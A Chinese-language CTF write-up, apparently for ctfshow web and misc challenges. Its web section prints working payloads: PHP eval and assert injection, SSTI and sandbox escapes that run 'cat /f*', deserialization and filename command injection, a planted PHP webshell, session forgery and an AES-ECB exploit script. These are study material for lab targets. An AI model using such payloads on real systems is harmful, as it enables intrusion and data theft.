# web

# web 签到

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

image-20230909165613083

# web2 c0me_t0_s1gn

image-20230909170813094

image-20230909170819468

# 我的眼里只有 $

extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);

extract (): 将数组中变量导入到符号表,extract (array ("a" => "Cat")) 等价于 $a="Cat"

传入 POST 的时候本来就会将 POST 内容作为数组传入,本质其实就是

$arr = ["_"=>"a","a"=>"b","b"=>"c","c"=>"d","d"=>"e","e"=>"f","f"=>"g","g"=>"h","h"=>"i","i"=>"j","j"=>"k","k"=>"l","l"=>"m","m"=>"n","n"=>"o","o"=>"p","p"=>"q","q"=>"r","r"=>"s","s"=>"t","t"=>"u","u"=>"v","v"=>"w","w"=>"x","x"=>"y","y"=>"z","z"=>"aa","aa"=>"bb","bb"=>"cc","cc"=>"dd","dd"=>"xx","xx"=>"yy","yy"=>"ta","ta"=>"ad","ad"=>"bba","bba"=>"sh","sh"=>"ls"]

太麻烦了,写个爆破脚本,由于 php 中变量名开头必须是字母或者_,就手动加一下

import request
url = "http://localhost:9090/"
data = "_=_0&"
code = "_34=system('cat /f*')"
for i in range(0,34):
    data = data + "_" +str(i) + "=" + "_" + str(i+1) + "&"
data = data + code
print(data)
r = requests.post(url=url,data=data)
print(r.text)

结果就是

?_=_0&_0=_1&_1=_2&_2=_3&_3=_4&_4=_5&_5=_6&_6=_7&_7=_8&_8=_9&_9=_10&_10=_11&_11=_12&_12=_13&_13=_14&_14=_15&_15=_16&_16=_17&_17=_18&_18=_19&_19=_20&_20=_21&_21=_22&_22=_23&_23=_24&_24=_25&_25=_26&_26=_27&_27=_28&_28=_29&_29=_30&_30=_31&_31=_32&_32=_33&_33=_34&_34=system("cat /f*");

# 抽老婆

image-20230909181013311

一眼路径,随便试一下有报错 app.py

image-20230909181033871

/download?file=../../app.py 拿到源代码 + sk,直接 session 伪造

python3 flask_session_cookie_manager3.py encode -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t '{"isadmin":"True"}'

# 一言既出

if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
}

学到了,弱比较比较数字,只会比对单数字的部分,assert 里可以直接视作 php 语句,所以可以用);// 闭合然后把后面的 die 注释掉

?num=114514);//

# 驷马难追

if (isset($_GET['num'])){
     if ($_GET['num'] == 114514 && check($_GET['num'])){
              assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
              echo $flag;
     } 
} 
function check($str){
  return !preg_match("/[a-z]|\;|\(|\)/",$str);
}

本地 php 版本应该有问题,assert 不管怎么样都是 true

但是这个 intval 是可以用 +-*/ 的

?num=114514%2b1805296 (+ 编码为 %2b)

# TapTapTap

image-20230909223548862

# Webshell

class Webshell {
        public $cmd = 'echo "Hello World!"';
        public function __construct() {
            $this->init();
        }
        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }
        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    }

ez 反序列化

?cmd=O:8:"Webshell":1:{s:3:"cmd";s:15:"cat f* | base64";}

# 化零为整

$result='';
for ($i=1;$i<=count($_GET);$i++){
    if (strlen($_GET[$i])>1){
        die("你太长了!!");
        }
    else{
    $result=$result.$_GET[$i];
    }
}
if ($result ==="大牛"){
    echo $flag;
}

挺有意思的,在 php 中,一个中文字的 len 是 3,所以要把一个中文拆成三分然后通过 . 拼接起来。但是一直不知道要怎么拆分,看了 wp 才知道是用 url 编码,所以就是

?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

# 无一幸免

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die($flag);
    }
    else{
        die("nonono!");
    }
}

啊?

?0

其实是题目有问题,本来应该是

if ($arr[]=1){
        die($flag);
    }
    else{
        die("nonono!");
    }

这样对 $arr [] 进行一个赋值,如果不进行特殊操作是恒为真的,所以要让这个赋值操作中断

中断原理就是

索引数组最大下标等于最大 int 数,对其追加会导致整型数溢出,进而引起追加失败
int 范围查阅 Manual 可知:32 位最大是 231-1,64 位是 263-1
也就是 2147483647 与 9223372036854775807
https://blog.csdn.net/Xxy605/article/details/120049069
?0=9223372036854775807

# 传说之下(雾)

学到了,本地修改 game.js 文件,赢一次 + 2078 分,吃一个就能拿 flag

image-20230910001159084

image-20230910001215439

# 算力超群

image-20230910003303691

随便算个数,进去把 5 改成 7*7 有正确回显 49,那就是 ssti

?number1=&operator=&number2=__import__("os").popen("cat /f*").read()

# 算力升级

@app.route('/tiesuanzi', methods=['POST'])
def tiesuanzi():
    code=request.form.get('code')
    for item in pattern.findall(code):#从 code 里把单词拿出来
        if not re.match(r'\d+$',item):#如果不是数字
            if item not in dir(gmpy2):#逐个和 gmpy2 库里的函数名比较
               return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
    try:
        result=eval(code)
        return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})
    except:
        return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})

限制是实用的关键字只能是 gmpy2 中的函数名

>>> dir(gmpy2)
['Default', 'DivisionByZeroError', 'HAVE_THREADS', 'InexactResultError', 'InvalidOperationError', 'OverflowResultError', 'RangeError', 'RoundAwayZero', 'RoundDown', 'RoundToNearest', 'RoundToZero', 'RoundUp', 'UnderflowResultError', '_C_API', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__path__', '__spec__', '_mpmath_create', '_mpmath_normalize', 'acos', 'acosh', 'add', 'agm', 'ai', 'asin', 'asinh', 'atan', 'atan2', 'atanh', 'bincoef', ……]

可见,有一个 __builtins__ 可以使用,而从 gmpy2.__builtins__ 里有 eval 函数

s="__import__('os').popen('cat /flag').read()"
import gmpy2
payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("
##'erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]==eval
for i in s:
        if i not in "/'(). ":
                temp_index=0
                temp_string='x'*20
                for j in dir(gmpy2):
                        if j.find(i)>=0:
                                if len(j)<len(temp_string):
                                        temp_string=j
                                        temp_index=j.find(i)
                payload+=f'\'{temp_string}\'[{temp_index}]+'
        else:
                payload+=f'\"{i}\"+'
payload=payload[:-1]+')'
print(payload)
gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('c_div'[1]+'c_div'[1]+'ai'[1]+'agm'[2]+'cmp'[2]+'cos'[1]+'erf'[1]+'cot'[2]+'c_div'[1]+'c_div'[1]+"("+"'"+'cos'[1]+'cos'[2]+"'"+")"+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cmp'[0]+'ai'[0]+'cot'[2]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")")

# easyPytHon_P

from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
    try:
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
        print('Done!')
    except subprocess.TimeoutExpired:
        print('Timeout!')
    except:
        print('Error!')
else:
    print('No Flag!')

传入 cmd 和 param,cmd 值截取前三个,__file__表示的是当前 py 文件的绝对路径

subprocess.run (["ls","/","/etc"]) 会同时列出 / 和 /etc 的文件

image-20230910152237015

cmd=cat&param=/app/flag.txt

# 遍地飘零

$zeros="000000000000000000000000000000";
foreach($_GET as $key => $value){
    $$key=$$value;
}
if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零,仔细看看输入有什么问题吧";
    var_dump($_GET);
}

要想 var_dump 出 $flag,必须要让 $_GET=$flag => $key=_GET,$value=flag

?_GET=flag

# 茶歇区

image-20230910234931585

有两组,FP=1024-count*score,得分 = count*score

看了一下 wp,考的是 php 整形溢出,就只需要先让 count 取 922337203685477580,让后部分溢出为负数,就可以使得整体的 FP>114514,在正常买就能让得分 > 114514

#post 发两次就可以了
# 不知道为什么但一个 e 不行,得多加两个参数
a=152000&b=0&c=0&d=0&e=922337203685477580&submit=% E5%8D% B7% E4% BA%86% E5% B0% B1% E8% B7%91% EF% BC%81

# 小舔田?

class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}
class Ion_Fan_Princess{
    public $nickname="牛夫人";
    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}
if (isset($_GET['code'])){
    unserialize($_GET['code']);
}else{
    $a=new Ion_Fan_Princess();
    echo $a;
}c

印象里做过这个,但具体找不到了

?code=O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}

# LSB 探姬

被误导了,以为 tsteg.py 不但能解密 LSB,还能执行其中语句,结果只有解密

# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File       : app.py
# Time       :2022/10/20 15:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:TSTEG-WEB
# flag is in /app/flag.py
"""
from flask import *
import os
#初始化全局变量
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():    
    return render_template('upload.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        try:
            f = request.files['file']
            f.save('upload/'+f.filename)
            cmd="python3 tsteg.py upload/"+f.filename
            result=os.popen(cmd).read()
            data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
            return jsonify(data)
        except:
            data={"code":1,"message":"file upload error!"}
            return jsonify(data)
    else:
        return render_template('upload.html')
@app.route('/source', methods=['GET'])
def show_source():
    return render_template('source.html')
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=False)

result=os.popen("python3 tsteg.py upload/...;cat flag.py").read()

返回的就是 python+cat 的内容

filename="res_encode.png;cat flag.py"

# Is_Not_Obfuscate

题目奇怪

image-20230911133522177

会执行 decode 之后的 input 参数,而且 robots.txt 里

Disallow: /lib.php?flag=0
Disallow: /plugins

传入 flag=1,得到

image-20230911133708811

上面一串 O0 估计表示加密什么东西,下面的估计就是密文

结合上面的 decode,把这一串传入到 input 中,把 action 改为 test 执行,还得 url 编码一下

header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
    @mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
// 测试执行加密后的插件代码
if($_GET['action'] === 'test') {
    echo 'Anything is good?Please test it.';
    @eval(decode($_GET['input']));
}
ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
    switch ($_GET['action']){
        case 'pull':
            $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
            echo "pull success";
            break;
        case 'push':
            $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
            echo "push success";
            break;
        default:
            die('hacker!');
    }
}
?>

$output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
$input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));

可以看出要先传入 output,把文件写到./plugins 目录下,文件名是 md5 后的结果

然后 eval 执行./plugins/ 文件名

?input=&action=push&output=<?php system('cat /f*');?>
?input=2e487432444053a0e4c42d08e42016a8&action=pull&output=

# 龙珠 NFT

完全没思路,玩不明白 crypto,直接看 wp

根据源码可知,address 是用 AES 的 ECB 模式加密的

image-20230911200947045

class AESCipher():
    def __init__(self,key):
        self.key = self.add_16(hashlib.md5(key.encode()).hexdigest()[:16])
        self.model = AES.MODE_ECB
        self.aes = AES.new(self.key,self.model)

而明文分组长度是 16 位,当一组明文相等时,加密后的密文也应该相等

而返回的数值按 16 位分组后的结果就是

image-20230911202754589

显然 round_no 是一直递增的,思路就是删掉其中 64-80 这一行,这就让 dragonball 随着次数的增加而增加

wp 给的 exp

import requests
import json
import base64
import random
url='http://xxxxxxxxxxxxxxxxxxxxxx/'
s=requests.session()
username=str(random.randint(1,100000))
print(username)
r=s.get(url+'?username='+username)
responses=[]
for i in range(10):
        r=s.get(url+'find_dragonball')
        responses.append(json.loads(r.text))
for item in responses:
	data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']})
        miwen=base64.b64decode(item['address'])
        round_no=item['round_no']
        if round_no in [str(i) for i in range(1,8)]:
                fake_address=miwen[:64]+miwen[80:]
                fake_address=base64.b64encode(fake_address).decode()
                r=s.get(url+'get_dragonball',params={"address":fake_address})
r=s.get(url+'flag')
print(r.text)

# misc

# 杂项签到

唉 低能

010 搜一下 ctfshow

# 损坏的压缩包

010 发现是 PNG 头,改后缀

# 谜之栅栏

图片栅栏

image-20231104214552159

image-20231104214600022

# 你会数数吗

词频统计

alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+- =\\{\\}[]"
strings = open('misc4.txt').read()  # 文件打开处
result = {}
for i in alphabet:
    counts = strings.count(i)
    i = '{0}'.format(i)
    result[i] = counts
res = sorted(result.items(), key = lambda item: item[1], reverse = True)
for data in res:
    print(data)
for i in res:
    flag = str(i[0])
    print(flag[0], end = "")

# 你会异或吗

逐位异或

input_filename = "misc5.png"  # 输入文件名
output_filename = "output.png"  # 输出文件名
# 打开输入文件以及创建输出文件
with open(input_filename, "rb") as input_file, open(output_filename, "wb") as output_file:
    while True:
        byte = input_file.read(1)  # 逐字节读取输入文件
        if not byte:
            break  # 如果没有更多字节可读,退出循环
        byte_value = ord(byte)  # 将字节转换为整数
        xored_byte = byte_value ^ 0x50  # 对字节进行异或操作
        output_file.write(bytes([xored_byte]))  # 将结果字节写入输出文件

# flag 一分为二

高度隐写 + 单文件盲水印

image-20231105210407541

image-20231105210415512

# 我是谁??

网上有一把梭脚本,本质是用 cv2 比对图片

import requests
from lxml import html
import cv2
import numpy as np
import json
url="http://0095371d-eeec-4e9d-929b-046aaeb84249.challenge.ctf.show/"
sess=requests.session()
all_girl=sess.get(url+'/static/all_girl.png').content
with open('all_girl.png','wb')as f:
        f.write(all_girl)
big_pic=cv2.imdecode(np.fromfile('all_girl.png', dtype=np.uint8), cv2.IMREAD_UNCHANGED)
big_pic=big_pic[50:,50:,:]
image_alpha = big_pic[:, :, 3]
mask_img=np.zeros((big_pic.shape[0],big_pic.shape[1]), np.uint8)
mask_img[np.where(image_alpha == 0)] = 255
cv2.imwrite('big.png',mask_img)
def answer_one(sess):
        #获取视频文件
        response=sess.get(url+'/check')
        if 'ctfshow{' in response.text:
                print(response.text)
                exit(0)
        tree=html.fromstring(response.text)
        element=tree.xpath('//source[@id="vsource"]')
        video_path=element[0].get('src')
        video_bin=sess.get(url+video_path).content
        with open('Question.mp4','wb')as f:
                f.write(video_bin)
        #获取有效帧
        video = cv2.VideoCapture('Question.mp4')
        frame=0
        while frame<=55:
                res, image = video.read()
                frame+=1
        #cv2.imwrite('temp.png',image)
        video.release()
        #获取剪影
        image=image[100:400,250:500]
        gray_image=cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)
        #cv2.imwrite('gray_image.png',gray_image)
        temp = np.zeros((300, 250), np.uint8)
        temp[np.where(gray_image>=128)]=255
        #去白边
        temp = temp[[not np.all(temp[i] == 255) for i in range(temp.shape[0])], :]
        temp = temp[:, [not np.all(temp[:, i] == 255) for i in range(temp.shape[1])]]
        #缩放至合适大小,肉眼大致判断是 1.2 倍,不一定准
        temp = cv2.resize(temp,None,fx=1.2,fy=1.2)
        #查找位置
        res =cv2.matchTemplate( mask_img,temp,cv2.TM_CCOEFF_NORMED)
        min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)
        x,y=int(max_loc[0]/192),int(max_loc[1]/288)#为什么是 192 和 288,因为大图去掉标题栏就是 1920*2880
        guess='ABCDEFGHIJ'[y]+'0123456789'[x]
        print(f'guess:{guess}')
        #传答案
        response=sess.get(url+'/submit?guess='+guess)
        r=json.loads(response.text)
        if r['result']:
                print('guess right!')
                return True
        else:
                print('guess wrong!')
                return False
i=1
while i<=31:
        print(f'Round:{i}')
        if answer_one(sess):
                i+=1
        else:
                i=1

# You and me

盲水印,不知道为什么一定要在 py3 的环境才能恢复

python bwmforpy3.py decode you.png you_and_me.png flag.png

# 7.1.05

拿到文件拖进 010 分析,看到是一个游戏的存档

image-20231108123722936

下游戏,进去提示

image-20231108123752538

*long_flag_in_R&D。*

***R&D****** 的意思是 ****Research&Develop*

在游戏中能代表这个含义的,是研发中心。因此我们需要找到研发中心的秘密

img

可以发现每个研发中心的研发部门的数量都不一样,* 将其按照从左下向右上,再行扫描的方式 *,可以得到这么一串数字:

***9794598612147726669494087179782678475623253058262173164497949649813569030779924086502049160804*** 再结合提示

img

long_to_bytes 是一个常用于 RSA 的函数,用于将数字转成字节,来试一下:

*>>> from Crypto.Util.number import long_to_bytes*

*>>> long _ to_bytes*

*(9794598612147726669494087179782678475623253058262173164497949649813569030779924086502049160804 )b " \ X01 , x84 ( xfa , xe7 ] FI & x84 ? \ \ \ \ \ \ \ \ \ \ xc1x08\ x03 / \ x9auo \ xc2;ek \ x9ed'*

失败了,那有没有可能是被逆序了?

*>>>long _ to _ bytes*

*(4080619402056804299770309653189469497944613712628503523265748762879717804949666277412168954979)*

*b'}3maG_d00G_0S_s1_baL_ms1lat1paC{wohsftc'*

可以明显看到一个 wohsftc,这是被逆序过的 ctfshow。再逆序一遍即可得到 flag

*ctfshow{Cap1tal1sm_Lab_1s_S0_G00d_Gam3}*

# 黑丝白丝还有什么丝?

给出个视频,有提示是摩斯密码

那就黑丝:-;白丝:.

# 我吐了你随意

题目提示:0 宽度隐写

https://www.mzy0.com/ctftools/zerowidth1/

# 这是个什么文件?

zip 发现是加密文件,先猜测伪加密

解压下来 file 一下看到是 Byte-compiled Python

使用 uncompyle6 -o 2.py 2.pyc 反编译

# 抽象画

一大串文字,猜测是 base 加密

换了一个 basecrack 工具,能一把梭

python basecrack.py -m -f 抽象画.txt

打出来是个 16 进制

image-20231108145856186

写进文件是个 png

a

用 npiet 工具读

npiet.exe a.png

image-20231108145954551

# 迅疾响应

QR 码,但用工具扫不出来

https://merri.cx/qrazybox/

直接传能出前半段 flag,后半段需要涂白纠错区

img

# 我可没有骗你

下下来的 zip 竟然不是伪加密,用字典也爆不出来,一看 wp 是八位数纯数字爆破😅55813329

image-20231109125132052

wave 文件直接看隐写 SilentEye

image-20231109125404795

# 你被骗了

下下来是个正经 mp3,mp3 可以用 MP3Stego

Decode.exe -X -P nibeipianle nibeipianle.mp3

# 一闪一闪亮晶晶

第一次见汉信码:https://tuzim.net/hxdecode/

CDBHSBHSxskv6

what is this

得到 m4a 音频,是个无线电,用 RX-SSTV+VirtualAudioCable

image-20231109134046552

# 一层一层一层地剥开我的♥

binwalk 一看是 doc 文件,最后还藏了 rar

image-20231109171635042

不知道为啥 foremost 分离不出来,还是 binwalk -e 好用

分离之后的 rar 带密码,回头看 doc 文件

image-20231109172052001

看了 wp 之后说是简谱数字 11556654433221

解压出来一个 jpg 一个 data 文件

jpg 后面紧跟一个 jpg

image-20231109173438514

😅真几把低能,binwalk,foremost 还都跑不出来

3

回到♥文件,很明显是 rar 文件缺少了文件头,密码则是 winkwink~

image-20231109174314382

打出来是 emoji,base100

# 打不开的图片

拖进 010 看不懂,结果是每个字节取反

image-20231109175117575

打出来是个 png